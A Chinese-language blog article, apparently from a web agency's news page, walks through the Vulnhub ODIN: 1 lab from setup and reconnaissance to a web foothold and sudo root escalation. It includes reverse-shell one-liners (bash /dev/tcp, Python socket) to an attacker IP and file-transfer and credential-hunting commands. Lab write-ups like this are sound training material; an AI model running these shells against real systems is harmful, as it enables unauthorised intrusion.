新闻详情

新闻详情

首页 / 资讯中心 / 详情

Vulnhub靶机ODIN:1渗透实战:从信息收集到root提权

发布时间:2026/10/1 11:52:58来源:尧图网络
Vulnhub靶机ODIN:1渗透实战:从信息收集到root提权
打vulnhub靶机这件事我最大的一个感受是很多新手不是死在提权上而是死在最开始那几步。镜像下载好了导入虚拟机IP怎么都ping不通或者nmap扫出来了看着一堆端口却不知道往哪儿使劲。今天拿ODIN: 1这台靶机完整走一遍从vulnhub靶场搭建到最终拿到root把每一步为什么要这样做、常见坑在哪都拆开讲。这台机器在vulnhub上属于中等难度适合已经有基础但是想系统练一遍完整渗透流程的人如果你是刚接触vulnhub看完这篇也能少走不少弯路。整台打下来我的体感是它不考什么花哨的0day考的是信息收集够不够细、拿到shell之后能不能沉住气做本地枚举。说白了这就是一场情报决定成败的游戏。1. ODIN: 1是什么级别的靶机先聊我的单次通关路径1.1 靶机定位与难度判断在vulnhub官网搜索框里输入ODIN就能找到这个镜像下载体积不大解压后是一个可以直接导入VirtualBox的虚拟机镜像。这类靶机一般会在描述页标注难度和打靶目标ODIN: 1的定位很明确练习Web渗透和信息收集最终目标是拿到root权限。为什么说它适合拿来练手因为它的攻击面不算特别宽端口就那么几个不像一些高难度靶机一开扫出来十几个端口每一条都要花时间去验证。ODIN: 1属于那种线索链条很清晰但中间任何一个环节马虎了就会卡死的类型。我见过不少人在提权阶段卡了一下午回头一看其实是前面漏了一个信息导致后面完全没有头绪。另外说个选靶机的小经验看镜像文件的发布时间。太老的可能环境依赖一堆问题很多命令跑不起来太新的又可能涉及一些边缘技术不适合练基本功。ODIN: 1的镜像格式兼容性做得不错VirtualBox和VMware导入都不算费劲这个我后面会细说。1.2 我的通关路线和时间分配我实际打完这台机器从导入镜像到拿到root整体在正常不卡壳的情况下大约需要一到两个小时。我的路线是这么走的网络发现确认靶机IP这一步花几分钟端口和服务识别确定主攻方向约20分钟Web应用指纹识别和目录枚举找到缺口约30分钟通过Web漏洞拿到初始shell约20分钟本地枚举和信息收集发现提权线索约40分钟最耗时提权到root约10分钟整个过程里最让我印象深刻的不是最后那个root而是早期的一次误判。当时我扫到一个不起眼的端口一开始觉得它跟主线没关系直接忽略了。后来在其他信息里反复看到一个指向它的提示回头仔细看了才发现这个被忽略的点恰恰是拉开突破口的关键。这也是我想在文章开头就先强调的打靶机的时候不要凭经验或者第一印象去筛选端口和目录你以为的噪声里可能藏着最重要的情报。2. vulnhub靶场搭建网络模式选错后面全是空转2.1 导入镜像时最容易踩的低级错误很多人镜像下好了双击导入虚拟机开机后屏幕上一堆启动日志然后就开始卡住。最常见的问题其实不在靶机本身而在导入这个环节。第一下载源。有的镜像在国内网盘上能搜到但来源不明不排除被塞了私货的可能。建议直接去官网下载源文件有校验信息可以用来核对。这个习惯一定要养成从源头保证靶机的完整性。第二用VirtualBox还是VMware。我个人的习惯是vulnhub的靶机优先用VirtualBox跑。不是因为VMware不行而是很多镜像在打包时就是以VirtualBox为目标环境做适配的。如果你用VMware打开经常会遇到一个问题——网络适配器的型号被自动改成了e1000而靶机内部配置可能只对VirtualBox默认的Intel PRO/1000做了适配结果就是靶机能启动但网卡不工作。如果你确实只有VMware也不是不能跑导入后手动改一下虚拟机的网卡类型和网络模式多试几次通常也能通。但省事的做法还是直接装一个VirtualBox反正也是免费的。2.2 NAT、桥接、仅主机到底怎么选这个问题是新手问得最多的也是搭建环节最大的分水岭。我用一个表格把三种网络模式讲清楚。网络模式靶机能否访问外网宿主机能否访问靶机Kali能否访问靶机适用场景NAT能一般不能直接访问需要端口转发麻烦靶机需要下载东西时用桥接能取决于局域网环境同一局域网内可以真实局域网环境模拟仅主机不能能能挂同一网卡本地打靶首选我推荐的最稳组合是Kali和靶机都挂在同一个仅主机网卡上同时Kali再额外加一张NAT网卡用来上网查资料和下载exp。这样靶机完全隔离在本地网络里不会干扰家里或公司的局域网Kali也能在需要的时候连到外网。攻击机两张网卡靶机一张网卡这个拓扑很干净。如果你用的是VirtualBox在全局工具-网络里先创建一块仅主机的虚拟网卡然后分别给Kali和靶机都加到这个网卡上再把Kali原来的NAT网卡保留就搞定了。顺序别搞反先建网卡再分配给虚拟机不然会找不到目标网络。2.3 搭建完的快速自检清单镜像开起来之后不要急着开扫描器先花两分钟确认网络通不通。我自己有一套固定的自检顺序在Kali上执行ip addr确认攻击机IP记住自己的网段用arp-scan -l或者netdiscover -r 网段/24扫一下局域网里有哪些主机找到目标MAC对应的IP一般vulnhub靶机默认用DHCP自动获取IP开机就能拿到用ping 靶机IP确认基础连通性再用nmap -sn 靶机IP确认主机在线如果ping不通先别急着怀疑人生。到VirtualBox的控制台界面登录靶机看看启动日志里有没有网络相关的报错再手动执行dhclient重新获取IP。能进控制台的话也可以检查一下/etc/network/interfaces或NetworkManager的状态。靶机本身的账户密码一般会在vulnhub描述页里给或者在登录界面有提示找一下就行。这一步自检花不了几分钟但能帮你省掉后面好几个小时的无效扫描。我见过很多人在这一步翻车后直接归咎于镜像坏了其实80%的情况是网卡的硬件加速或者混杂模式没开对。3. 信息收集决定命运从全网段扫描到CMS指纹识别3.1 先扫网段再扫端口别一上来就搞全端口确认靶机在线之后进入正式的侦查阶段。我的顺序是先用nmap -T4 -sV -sC 靶机IP扫常见的1000个端口把服务版本和默认脚本跑一遍。不要上来就-p-扫所有端口那样虽然彻底但很浪费时间而且输出结果太多反而不好判断重点。ODIN: 1这台机器开放的服务不多常规端口一眼就看到头了一个Web服务一个SSH还有一个容易被忽略的端口。很多人看到Web和SSH就惯性思维直接往WordPress上冲后面那个端口根本没打开看过。这里想多说一句nmap的-sC不是可选项是必选项。默认脚本能帮你收集到很多手工看不出来的信息比如HTTP的robots.txt内容、SSH的版本和算法、某些服务的banner。这些信息单独看可能没什么但串在一起就能拼出一个完整的攻击画像。如果常规扫描结束后没有任何明显突破口再考虑全端口扫描。命令大概是nmap -p- -T4 --min-rate 5000 靶机IP把速率拉高两三分钟就能跑完。但ODIN: 1不需要走到这一步这是它的仁慈之处。3.2 Web指纹识别和目录爆破Web服务是我们最可能要正面突破的地方所以指纹识别一定要做细。先手工访问一下看页面长什么样再curl -I看响应头。响应头里的Server字段、X-Powered-By、生成的Cookie名全是线索。如果发现是WordPress站点那就简单了直接用wpscan --enumerate ap,at,tt 目标URL枚举插件、主题和用户。wpscan是WordPress靶机的标配工具跑一轮基本能拿到用户名列表和已知的漏洞插件列表。但注意wpscan输出的东西很多别看到插件名就激动先确认插件是不是真的启用再确认版本号。版本信息不一定能从页面直接看到有时候需要去插件目录下读取readme.txt才能拿到。这个细节很关键但很多人会跳过导致后面利用的时候版本对不上白白浪费时间。目录爆破也不能跳过。用gobuster dir -u 目标URL -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt扫一下常见路径。WordPress站点的重点路径就那么几个/wp-content/、/wp-includes/、/wp-admin/。如果目标开启了目录列表那基本上相当于把源码翻给你看了这时候就要瞪大眼睛在文件列表里找工作备份、sql导出、隐藏压缩包等敏感文件。我在打这台机器时就是从目录列表里看到一个不起眼的备份文件这个文件后来直接帮我拼凑出了登录凭据。如果没有做目录爆破这个信息就永远躺在那里后面怎么枚举都枚举不出来。3.3 一条容易忽略的线索邮件、用户名与版本号信息收集阶段最容易漏掉的是那些非技术类的人工痕迹。我在打ODIN: 1的过程中有几个信息点值得单独拎出来讲。第一个是用户名收集。WordPress站点的文章作者页面会暴露登录用户名wpscan也能枚举出来。很多新手收集到用户名之后只拿去试后台密码其实这个用户名在后面SSH登录、数据库密码复用、甚至提权的时候都可能用到。前期收集用户名的时候不要只记一个凡是页面上出现过的名字、邮箱前缀、作者昵称全部记下来。第二个是站点里的邮件地址。很多靶机会刻意在页面或者源码注释里放一个类似adminodin.local的地址这时候就要注意了这个地址往往暗示了域名的命名规则和用户名格式。你可以推测出完整的主机名、邮箱用户名甚至用它来尝试SSH登录。第三个是网站页脚、注释、JS文件里的版本号。这些版本号要跟nmap扫到的服务版本放在一起比对最终目的是构建一张版本-漏洞的对应表。这一步做得越细后面在漏洞利用阶段就越省事。我一直觉得信息收集的产出不应该只停留在脑子里要写下来。我把扫描结果、用户名列表、可疑路径、版本号全部贴在笔记里打靶过程中随时往里面补充信息。这样做的好处是卡壳的时候往回翻笔记往往能在之前记的一条不起眼的信息里找到线索。4. 打进Web层漏洞利用的临门一脚4.1 确认漏洞版本再动手别看到插件名就梭哈信息收集阶段如果发现了可用的插件或组件下一步就是确认它是不是真的有漏洞可以利用。盲目的做法是看到插件名马上打开搜索框找exploit然后复制粘贴跑一遍。结果大概率是报错或者利用失败然后你又得回头排查为什么失败一来一回浪费一小时。正确的做法是确认三件事——插件名称、插件版本、是否启用。插件版本可以从插件目录下的readme.txt、页面源码里的版本参数、或者通过wpscan的枚举结果里拿到。确定了版本之后再用searchsploit 插件名 版本号去本地漏洞库查对应的利用程序。如果本地没搜到也可以去网上漏洞库查但要注意时间线太老的exploit在现在的环境下经常跑不通。跑不通的时候别死磕换一条思路试试。比如目标站点的后台没有启用双重验证的情况下可以考虑用之前枚举到的用户名去做弱口令尝试。很多靶机的后台密码不会设得太复杂这种笨办法反而比找exploit可靠。我在ODIN: 1上实际的突破路径就是通过Web应用的一个已知漏洞配合searchsploit里的现成脚本拿到的reverse shell。关键不在于这个漏洞本身多高级而在于我前面确认了版本、确认了利用条件一次就成功了。4.2 从命令执行到反弹shell的稳定姿势一旦拿到了命令执行权限比如能通过Web上传PHP文件、编辑主题模板、或者某个参数能直接执行系统命令第一步千万别急着弹shell先执行个id和whoami看看当前权限再用pwd确认一下当前目录。这一步的目的很简单确认你的命令执行通道是可用的、输出的内容是你期望的。确认无误后再执行反弹shell。我常用的命令是bash -c bash -i /dev/tcp/攻击机IP/监听端口 01在Kali这边提前用nc -lvnp 监听端口起一个监听。注意监听端口不要选常用端口不然容易被其他连接干扰。如果 bash 反弹不上来可以试试Python反弹python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((攻击机IP,端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([/bin/sh,-i])还有一种情况是目标机器根本没有 bash 或者被限制在特定目录里这时候要考虑用目标环境已有的语言来反弹比如Perl或Ruby。总之反弹shell的姿势要备两三套一套不通马上换下一套。4.3 拿到shell之后先别急着提权很多人拿到www-data的shell就兴冲冲跑去提权这是我最不推荐的节奏。低权限shell最该做的是先落根把脚下的土踩实了再想爬高的事。首先把shell升级成交互式TTY。用python的pty模块python3 -c import pty;pty.spawn(/bin/bash)然后按CtrlZ把当前会话挂起在Kali本地执行stty raw -echo; fg回车之后再设置一下终端大小。这串命令可能看起来有点玄学其实原理就是把本地终端的原始模式转发给远程shell让远程的vim、su、top这类程序能正常显示界面。接下来做的应该是确认当前用户身份和权限id查看/etc/passwd里有哪些用户尤其是有登录shell的用户查看当前用户可以读写哪些文件找web目录、临时目录、home目录检查环境变量、历史命令记录history以及每个用户home下的.bash_history查看web目录里有没有数据库配置文件、日志文件我在拿到ODIN: 1的初始shell之后就是在web目录下翻出了一个配置文件里面写着数据库连接的明文密码。这个密码没有直接给root但给我后续的横向和提权提供了很大的帮助。5. 提权链路从低权限到root的完整复盘5.1 枚举脚本怎么选才不浪费时间本地枚举是提权前最重要的一步也是最容易让人迷失的一步。我的习惯是用自动化脚本做粗筛再靠人工去复核重点。常用的枚举工具有这么几个工具特点适用场景LinEnum.sh输出比较规整适合逐项查看快速了解当前系统状况linpeas.sh自动化程度高输出内容多大而全的初筛亮点会加粗标出pspy监控进程和计划任务怀疑有定时任务时可以盯一段时间很多靶机没有外网连接Kali里下载好的脚本要先传到靶机上。传文件的方式最常见的是在Kali本地起一个HTTP服务cd /usr/share/exploitdb/exploits python3 -m http.server 8080然后在靶机上用curl或wget下载curl -O http://攻击机IP:8080/linpeas.sh如果目标是完全隔离的环境连HTTP都连不通那就只能把命令一行一行手动敲进去。好在ODIN: 1的环境没那么多幺蛾子我直接把linpeas传上去跑了。linpeas跑完先别看那些红色的高亮就觉得全都能利用重点看几类信息当前用户的sudo权限、有哪些文件有SUID位、计划任务列表、以及用户可以写入但root会执行的脚本。这几类是提权的高频入口。5.2 决定成败的三个隐藏线索在ODIN: 1上最后帮我拿下root的线索并不是linpeas自动标出来的而是下面这三类容易被人忽略的地方。第一类是/var/mail下的邮件。很多机器上会有一个给root或者某个用户发的本地邮件里面可能包含系统配置、密码提醒、或者某个服务的初始化信息。很少有人会去看这个目录但它经常是白送的情报。我当时翻邮件时确实看到了跟业务相关的内容这验证了我在前面信息收集阶段拿到的一个猜测。第二类是用户home目录下的.bash_history。如果某个用户曾经在命令行里敲过密码那历史记录里就是明文。查看历史记录不需要太高权限普遍情况下/home/用户名/.bash_history是能读的。这条线索的优先级仅次于邮件。第三类是系统里残留的备份文件。很多人以为备份文件只会出现在web目录里其实系统的/opt、/var/backups、/tmp下也可能躺着压缩包。用find / -name *.bak -o -name *.zip -o -name *.tar.gz搜一遍经常有意外之喜。我最终就是通过一个备份文件里的信息把整个提权链路的最后一块拼图凑齐了。这三类线索的共性是它们都不是通过跑脚本能发现的必须人工去看、去翻、去联想。这也是为什么我一直强调提权阶段不能只依赖自动化工具该翻的地方一个都不能少。5.3 sudo、计划任务、内核漏洞三类提权路径的取舍拿到足够的信息之后提权路径通常有三条我在实战中的优先级是这样的。首选看sudo权限。执行sudo -l如果当前用户能免密执行某个命令赶紧去GTFOBins上查这个命令有没有提权姿势。像find、vim、less、more、cp这些常见的命令基本都有固定的逃逸方法。这条路径成功率最高、风险最小操作系统版本对它没有太大影响。次选看计划任务。用cat /etc/crontab或者systemctl list-timers查看有没有root定时运行的脚本。如果脚本所在的目录当前用户可以写入或者脚本本身没有加写保护那就可以通过修改脚本来提权。还有更隐蔽的一种情况脚本内部调用了某个不在绝对路径下的命令这就可以通过修改PATH环境变量来劫持。最后才是内核漏洞。我不建议一上来就搞内核提权一是因为内核漏洞要精确匹配发行版和内核版本匹配错了轻则提权失败重则直接把靶机打崩前面的努力全白费。二是因为靶机设计者在多数情况下不会故意留一个内核漏洞让你去提如果真的有那这台机器的重点就不在Web侧了。在ODIN: 1上我最终走的是sudo那条路干净利落一点风险都没有。这也再次印证了一个道理打靶过程中凡是能通过配置错误拿下的优先用配置错误因为这才是最接近真实场景的提权方式——真实业务环境里谁会在装了最新内核的服务器上留一个历史内核漏洞让你打6. 复盘清单下次打vulnhub能直接复用的经验打完收工梳理一份可以直接落地的清单也算是我自己多次打靶后的经验沉淀。第一搭建阶段先定网络拓扑再开虚拟机。Kali双网卡NAT 仅主机靶机单网卡仅主机这是最不容易出错的组合。网络不通时先检查网卡类型再检查DHCP别动不动就重装镜像。第二信息收集阶段把结果全部文字化。nmap输出、wpscan输出、目录枚举结果、用户名列表、可疑路径都记录下来。打不过去的时候回头翻记录比重新扫一遍效率高得多。第三漏洞利用前确认版本和利用条件。多花五分钟去验证能省后面一小时排查问题的时间。第四拿到初始shell先做三件事升级TTY、确认当前权限、翻web目录和用户目录下的配置文件。这三件事做完你对这台机器的掌握程度会上一个台阶。第五提权阶段别梭哈内核先看sudo再盯计划任务最后才考虑内核。同时不要漏了/var/mail、.bash_history、备份文件这三类人工线索。第六也是我想特别强调的一点每打完一台靶机花半小时写一份自己的writeup。不用发出来就用自己的话把打靶过程复述一遍哪里卡壳了、哪里是靠运气试出来的、哪里下次可以做得更快都写下来。一个月后回看你会发现自己对渗透流程的理解完全是另一个层次。vulnhub靶机跟真实渗透最大的区别在于你提前知道这台机器一定存在一个入口心态上不容易慌。但也正因为如此很多人会在虚拟环境里养成乱试的坏习惯——这个端口试一圈不行就换下一个反正不会触发真实告警。我个人的体会是把每一台靶机都当成一次真实的授权测试来打每一个操作都问自己一句我为什么这样做练出来的手感才会迁移到真实场景里。ODIN: 1这台机器不算难但该有的环节一个不少非常适合用来校准自己的打靶流程。
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

频繁模式挖掘实战:Apriori与FP-Growth选型及Python实现 2026/10/1 17:25:56

频繁模式挖掘实战:Apriori与FP-Growth选型及Python实现

简介:面向数据仓库与数据挖掘课程设计/期末大作业场景的 Python 频繁模式挖掘完整项目,覆盖 Apriori 算法实现、多数据集应用与实验报告,适合需要提交可运行代码和说明文档的本科/高职学生。代码注释详细,新手也能跟着注释读懂事务…

阅读更多 →
超材料S参数反演实战:CST+MATLAB闭环工程方案 2026/10/1 17:25:56

超材料S参数反演实战:CST+MATLAB闭环工程方案

简介:本资源是一套面向电磁仿真与超材料研究初学者的CST-MATLAB协同实践方案,聚焦S参数提取与结构参数反演这一关键逆问题,适用于微波工程、电磁场与无线技术方向的本科生、研究生及科研入门者。压缩包仅含1个核心MATLAB脚本文件(…

阅读更多 →
深信服拓扑图标库:售前售后通用素材与高效使用指南 2026/10/1 17:25:56

深信服拓扑图标库:售前售后通用素材与高效使用指南

简介:这份深信服拓扑图标PPTX素材面向售前工程师、网络方案设计与安全运维人员,用于快速绘制深信服产品架构图、方案拓扑图与投标示意图。资源以pptx格式交付,压缩包内共1个文件,体积约3.32MB,可直接在PowerPoint中打开…

阅读更多 →
校园舆情管理系统从零搭建:微博爬虫+负面分析+可视化预警 2026/10/1 17:25:56

校园舆情管理系统从零搭建:微博爬虫+负面分析+可视化预警

简介:面向毕业设计场景的校园舆情管理系统完整源码包,基于Python 3.6.8与MySQL 5.7开发,集成用户登录密码管理、大学生微博爬取、舆情数据分析、负面信息百分比统计及饼图柱状图可视化预警等功能,可作为计算机相关专业毕业设计、课…

阅读更多 →
深入解析 tldr-pages 中的 Go 命令速查页:go 工具链七大高频命令全解 2026/10/1 17:25:55

深入解析 tldr-pages 中的 Go 命令速查页:go 工具链七大高频命令全解

文档教程知识库 【免费下载链接】tldr Collaborative cheatsheets for console commands 📚. 项目地址: https://gitcode.com/GitHub_Trending/tl/tldr 点击查看 免费下载 本文以 tldr-pages 仓库中阿拉伯语版的 go 命令速查页(pages.ar/com…

阅读更多 →
AI Agent 面试全攻略:多路检索+Rerank重排序核心代码实现,RAG系统如何做到可解释 2026/10/1 17:25:48

AI Agent 面试全攻略:多路检索+Rerank重排序核心代码实现,RAG系统如何做到可解释

AI Agent 面试全攻略:多路检索Rerank重排序核心代码实现,RAG系统如何做到可解释 【免费下载链接】ai-agent-interview-guide AI Agent 面试全攻略:从零到Offer,包含200面试题、企业级项目(Python/Java/Go)、简历模板、STAR面试稿、…

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞 ✉